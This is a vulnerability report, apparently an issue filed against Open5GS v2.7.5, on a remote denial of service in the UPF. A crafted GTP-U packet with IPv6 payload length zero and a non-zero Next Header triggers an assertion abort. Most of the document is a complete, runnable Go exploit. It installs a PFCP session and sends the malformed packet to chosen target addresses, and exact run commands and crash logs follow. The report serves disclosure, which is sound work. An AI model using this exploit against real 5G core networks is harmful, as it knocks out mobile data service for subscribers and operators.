| Description | ### Title: UPF crash from IPv6 Payload Length=0 with non-zero Next Header
### Open5GS Release, Revision, or Tag
v2.7.5
### Description
When a PFCP Session Establishment Request installs a CreatePDR whose PDI contains an SDF Filter (e.g., permit out ip from any to any), the UPF data plane invokes decode_ipv6_header() while matching packets. If the attacker sends a GTP-U packet where the IPv6 payload length is zero but the Next Header field is non-zero (e.g., UDP = 0x11), the function hits ogs_assert(nxt == 0) and aborts, causing a remote DoS.
### Steps to reproduce
1. Start a new go project inside a new folder: `go mod init poc`
2. Create a `main.go` and paste the code below:
```
package main
import (
"encoding/binary"
"encoding/hex"
"errors"
"flag"
"fmt"
"log"
"math/rand"
"net"
"os"
"strings"
"time"
"github.com/wmnsk/go-pfcp/ie"
"github.com/wmnsk/go-pfcp/message"
)
const (
defaultPFCPPort = 8805
defaultGTPPort = 2152
readTimeout = 2 * time.Second
)
type pfcpClient struct {
nodeIP net.IP
seid uint64
seq uint32
}
func (c *pfcpClient) nextSeq() uint32 {
c.seq++
if c.seq == 0 || c.seq > 0x00ffffff {
c.seq = 1
}
return c.seq
}
func (c *pfcpClient) mandatoryIEs() []*ie.IE {
return []*ie.IE{
ie.NewNodeID(c.nodeIP.String(), "", ""),
ie.NewFSEID(c.seid, c.nodeIP, nil),
ie.NewPDNType(ie.PDNTypeIPv4),
}
}
func (c *pfcpClient) buildSession(ies ...*ie.IE) *message.SessionEstablishmentRequest {
payload := append([]*ie.IE{}, c.mandatoryIEs()...)
payload = append(payload, ies...)
return message.NewSessionEstablishmentRequest(0, 0, c.seid, c.nextSeq(), 0, payload...)
}
func (c *pfcpClient) sendAssociation(conn *net.UDPConn) error {
req := message.NewAssociationSetupRequest(
c.nextSeq(),
ie.NewNodeID(c.nodeIP.String(), "", ""),
ie.NewRecoveryTimeStamp(time.Now()),
ie.NewCPFunctionFeatures(0x3f),
)
return sendAndMaybeRead(conn, req)
}
type pfcpMarshaler interface {
Marshal() ([]byte, error)
}
func sendAndMaybeRead(conn *net.UDPConn, msg pfcpMarshaler) error {
payload, err := msg.Marshal()
if err != nil {
return fmt.Errorf("marshal PFCP message: %w", err)
}
if _, err := conn.Write(payload); err != nil {
return fmt.Errorf("send PFCP message: %w", err)
}
_ = conn.SetReadDeadline(time.Now().Add(readTimeout))
buf := make([]byte, 2048)
if _, err := conn.Read(buf); err != nil {
if ne, ok := err.(net.Error); ok && ne.Timeout() {
return nil
}
return fmt.Errorf("read PFCP response: %w", err)
}
return nil
}
func buildSessionWithSDFFilter(
client *pfcpClient, farID uint32, teid uint32, dnn string, accessIP net.IP,
) *message.SessionEstablishmentRequest {
sdf := ie.NewSDFFilter("permit out ip from any to any", "", "", "", 0)
pdr := ie.NewCreatePDR(
ie.NewPDRID(10),
ie.NewPrecedence(200),
ie.NewPDI(
ie.NewSourceInterface(ie.SrcInterfaceAccess),
ie.NewNetworkInstance(dnn),
ie.NewFTEID(0x01, teid, accessIP, nil, 0),
sdf,
),
ie.NewFARID(farID),
)
far := ie.NewCreateFAR(
ie.NewFARID(farID),
ie.NewApplyAction(0x02), // FORW
ie.NewForwardingParameters(
ie.NewDestinationInterface(ie.DstInterfaceCore),
),
)
return client.buildSession(pdr, far)
}
func resolveAddr(target string, fallbackPort int) (string, error) {
if strings.Contains(target, ":") {
return target, nil
}
return fmt.Sprintf("%s:%d", target, fallbackPort), nil
}
func parseIPv6(ipStr string) net.IP {
ip := net.ParseIP(ipStr)
if ip == nil || ip.To16() == nil {
log.Fatalf("invalid IPv6 address: %s", ipStr)
}
return ip.To16()
}
func buildIPv6ZeroPayload(src, dst net.IP) []byte {
if src == nil || dst == nil {
panic("src/dst IPv6 cannot be nil")
}
packet := make([]byte, 40+8)
packet[0] = 0x60
// payload length == 0
packet[6] = 0x11 // Next Header = UDP
packet[7] = 64 // Hop limit
copy(packet[8:24], src)
copy(packet[24:40], dst)
// Append dummy UDP header/payload even though plen=0
udp := packet[40:]
binary.BigEndian.PutUint16(udp[0:2], 4444)
binary.BigEndian.PutUint16(udp[2:4], 5555)
binary.BigEndian.PutUint16(udp[4:6], uint16(len(udp)))
udp[6], udp[7] = 0, 0 // checksum left zero
return packet
}
func sendMalformedIPv6(gtpTarget string, teid uint32, payload []byte) error {
addr, err := net.ResolveUDPAddr("udp", gtpTarget)
if err != nil {
return fmt.Errorf("resolve GTP-U target: %w", err)
}
conn, err := net.DialUDP("udp", nil, addr)
if err != nil {
return fmt.Errorf("dial GTP-U target: %w", err)
}
defer conn.Close()
header := make([]byte, 8)
header[0] = 0x30 // Version 1, PT=1
header[1] = 0xff // G-PDU
binary.BigEndian.PutUint16(header[2:4], uint16(len(payload)))
binary.BigEndian.PutUint32(header[4:8], teid)
packet := append(header, payload...)
if _, err := conn.Write(packet); err != nil {
return fmt.Errorf("send GTP-U packet: %w", err)
}
return nil
}
func main() {
var (
pfcpTarget = flag.String("pfcp-target", "127.0.0.1:8805", "UPF PFCP endpoint (host[:port])")
gtpTarget = flag.String("gtp-target", "127.0.0.1:2152", "UPF GTP-U endpoint (host[:port])")
nodeIPStr = flag.String("node-ip", "10.0.0.1", "NodeID/IPv4 used in PFCP messages")
accessIP = flag.String("access-ip", "10.0.0.2", "IPv4 placed in the PDR's F-TEID")
dnn = flag.String("dnn", "internet", "Network Instance / DNN")
farID = flag.Uint("far-id", 9, "FAR ID referenced by the PDR")
teidFlag = flag.Uint("teid", 0x12340000, "TEID programmed into the CreatePDR")
srcIPv6 = flag.String("src-ipv6", "2001:db8::1", "IPv6 source address in crafted packet")
dstIPv6 = flag.String("dst-ipv6", "2001:db8::2", "IPv6 destination address in crafted packet")
skipAssoc = flag.Bool("skip-assoc", false, "Skip the PFCP Association Setup")
dumpHex = flag.Bool("dump", false, "Dump crafted PFCP Session Establishment bytes")
)
flag.Parse()
nodeIP := net.ParseIP(*nodeIPStr)
if nodeIP == nil {
log.Fatalf("invalid node-ip: %s", *nodeIPStr)
}
accessTEIDIP := net.ParseIP(*accessIP)
if accessTEIDIP == nil {
log.Fatalf("invalid access-ip: %s", *accessIP)
}
resolvedPFCP, err := resolveAddr(*pfcpTarget, defaultPFCPPort)
if err != nil {
log.Fatalf("resolve PFCP target: %v", err)
}
resolvedGTP, err := resolveAddr(*gtpTarget, defaultGTPPort)
if err != nil {
log.Fatalf("resolve GTP target: %v", err)
}
pfcpAddr, err := net.ResolveUDPAddr("udp", resolvedPFCP)
if err != nil {
log.Fatalf("resolve PFCP UDP addr: %v", err)
}
conn, err := net.DialUDP("udp", nil, pfcpAddr)
if err != nil {
log.Fatalf("dial PFCP: %v", err)
}
defer conn.Close()
rand.Seed(time.Now().UnixNano())
client := &pfcpClient{
nodeIP: nodeIP,
seid: uint64(rand.Uint32())<<32 | uint64(rand.Uint32()),
seq: uint32(rand.Intn(0x00ffffff)),
}
if !*skipAssoc {
if err := client.sendAssociation(conn); err != nil {
log.Printf("association setup failed: %v", err)
} else {
log.Printf("association setup request sent to %s", resolvedPFCP)
}
}
req := buildSessionWithSDFFilter(client, uint32(*farID), uint32(*teidFlag), *dnn, accessTEIDIP)
payload, err := req.Marshal()
if err != nil {
log.Fatalf("marshal session establishment: %v", err)
}
if *dumpHex {
fmt.Printf("Session Establishment (%d bytes):\n%s\n", len(payload), hex.Dump(payload))
}
if _, err := conn.Write(payload); err != nil {
log.Fatalf("send session establishment: %v", err)
}
log.Printf("Installed PDR with SDF Filter (TEID=0x%x). Waiting before sending malformed IPv6...", *teidFlag)
time.Sleep(500 * time.Millisecond)
src := parseIPv6(*srcIPv6)
dst := parseIPv6(*dstIPv6)
ipv6Payload := buildIPv6ZeroPayload(src, dst)
if err := sendMalformedIPv6(resolvedGTP, uint32(*teidFlag), ipv6Payload); err != nil {
if !errors.Is(err, os.ErrDeadlineExceeded) {
log.Fatalf("send GTP-U packet: %v", err)
}
}
log.Printf("Malformed IPv6 packet sent; expect UPF to assert in decode_ipv6_header() due to plen=0 & NextHeader!=0")
}
```
3. Download required libraries: go mod tidy
4. Run the program with the upf pfcp server address:
```
go run main.go \
-pfcp-target 10.33.33.3:8805 \
-gtp-target 10.33.33.3:2152 \
-node-ip 10.33.33.4 \
-access-ip 10.33.33.2 \
-dnn internet \
-far-id 9 \
-teid 0x12340000 \
-src-ipv6 2001:db8::1 \
-dst-ipv6 2001:db8::2
```
### Logs
```shell
11/26 09:48:55.466: [upf] DEBUG: upf_pfcp_state_associated(): UPF_EVT_N4_MESSAGE (../src/upf/pfcp-sm.c:161)
11/26 09:48:55.466: [upf] INFO: [Added] Number of UPF-Sessions is now 1 (../src/upf/context.c:209)
11/26 09:48:55.466: [upf] DEBUG: Session Establishment Request (../src/upf/n4-handler.c:66)
11/26 09:48:55.466: [core] ERROR: Invalid FQDN encoding[j:0+len:105] + 1 > length[8] (../lib/proto/types.c:429)
0000: 696e7465 726e6574 internet
11/26 09:48:55.466: [pfcp] ERROR: Invalid pdi.network_instance (../lib/pfcp/handler.c:525)
11/26 09:48:55.466: [upf] DEBUG: Session Establishment Response (../src/upf/n4-build.c:36)
11/26 09:48:55.466: [pfcp] DEBUG: [12716352] REMOTE UPD TX-51 peer [10.33.33.4]:8805 [10.33.33.1]:53612 (../lib/pfcp/xact.c:191)
11/26 09:48:55.466: [pfcp] DEBUG: [12716352] REMOTE Commit peer [10.33.33.4]:8805 [10.33.33.1]:53612 (../lib/pfcp/xact.c:460)
11/26 09:48:55.967: [pfcp] FATAL: decode_ipv6_header: Assertion `nxt == 0' failed. (../lib/pfcp/rule-match.c:58)
11/26 09:48:55.969: [core] FATAL: backtrace() returned 9 addresses (../lib/core/ogs-abort.c:37)
/usr/local/lib/libogspfcp.so.2(+0x3db2a) [0x7f07a1e8fb2a]
/usr/local/lib/libogspfcp.so.2(ogs_pfcp_pdr_rule_find_by_packet+0x355) [0x7f07a1e8ffea]
open5gs-upfd(+0x12a45) [0x55958cc71a45]
/usr/local/lib/libogscore.so.2(+0x2603f) [0 |
|---|